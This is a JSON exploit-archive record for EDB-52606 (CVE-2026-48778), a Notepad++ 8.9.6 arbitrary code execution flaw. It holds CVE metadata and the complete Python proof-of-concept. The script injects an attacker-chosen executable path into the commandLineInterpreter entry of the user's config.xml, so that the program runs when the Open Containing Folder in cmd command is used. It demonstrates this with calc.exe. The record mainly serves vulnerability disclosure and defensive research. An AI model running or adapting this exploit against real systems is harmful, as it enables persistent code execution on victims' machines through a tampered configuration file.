{"exploit":{"id":"EDB-52606","name":"Notepad++ 8.9.6 - 'commandLineInterpreter' Arbitrary Code Execution","description":"Notepad++ 8.9.6 - 'commandLineInterpreter' Arbitrary Code Execution","cves":["CVE-2026-48778"],"author":"Kavin Jindal","published":"2026-05-30","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52606","path":"exploits/windows/remote/52606.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52606.py","vulnerabilities":[{"id":"CVE-2026-48778","state":"PUBLISHED","title":"Notepad++: Arbitrary Code Execution via config.xml commandLineInterpreter","titleSource":"CVE Program","description":"Notepad++ is a free and open-source source code editor. Prior to 8.9.6.1, the <GUIConfig name=\"commandLineInterpreter\"> tag in config.xml is read by NppXml::value() (Parameters.cpp:6430) and stored in _nppGUI._commandLineInterpreter without any validation, whitelist, or digital signature check. When the user triggers IDM_FILE_OPEN_CMD (File → Open Containing Folder → cmd), NppCommands.cpp:228 creates a Command object with this value and calls run(), which invokes ShellExecute (RunDlg.cpp:221) with the attacker-controlled string as the executable path. This vulnerability is fixed in 8.9.6.1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48778","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48778"},"updatedAt":"2026-06-29T13:11:06.515Z","retrievedAt":"2026-11-25T16:15:43.299Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52606.png?v=2","url":"https://exploitbin.com/exploits/EDB-52606","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52606/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52606/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution\n# Date: 2026-05-30\n# Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/\n# Vendor Homepage: https://notepad-plus-plus.org\n# Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/\n# Version: <= 8.9.6\n# Tested on: Windows 10/11\n# CVE: CVE-2026-48778\n# Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9\n#\n# Description:\n# Notepad++ reads <GUIConfig name=\"commandLineInterpreter\"> from config.xml without\n# validation and passes it to ShellExecute when \"Open Containing Folder in cmd\" is\n# triggered. An attacker with write access to %APPDATA%\\Notepad++\\ can inject an\n# arbitrary executable path, resulting in code execution under the current user context.\n# In the following script, `calc.exe` has been used to demonstrate this vulnerability.\n\n\nimport os, sys\n\n\nappdata = os.environ[\"APPDATA\"]\nif not appdata:\n    print(\"[!] APPDATA environment variable not found, exiting..\")\n    sys.exit()\n\n\nconfig_path = os.path.join(appdata, \"Notepad++\", \"config.xml\")\nexisting = os.path.exists(config_path)\nif existing==True:\n    print(\"[+] Found config.xml at \", config_path)\nelse:\n    print(\"config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.\")\n\nx = open(config_path, 'r')\ns = x.readlines()\n\npayload='<GUIConfig name=\"commandLineInterpreter\">calc.exe</GUIConfig>\\n'\ninjected=False\n\nfor num,i in enumerate(s, start=0):\n    if '<GUIConfig name=\"commandLineInterpreter\">' in i:\n        print(\"[!] Injecting payload..\")\n        s[num]=payload\n        injected=True\n        break\n    elif \"</GUIConfigs>\" in i:\n        print(\"[!] Injecting payload..\")\n        s.insert(num, payload)\n        injected=True\n        break\nif not injected:\n    print(\"[!] Payload injection failed.\")\n    sys.exit(1)\n\ny = open(config_path, 'w')\ny.writelines(s)\nprint(\"[+] Payload injected successfully!\")\nprint(\"[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd\")\nprint(\"[+] Calc.exe will launch instead of cmd.\")\n\n\nprint(\"end\")","sha256":"542aab84acfe256f1da3a6bc1e542f678649bbf30f91db1f652844064ce54f82","bytes":2104,"fetchedAt":"2026-11-26T08:59:08.879Z","encoding":"utf-8 (display only; download retains original bytes)"}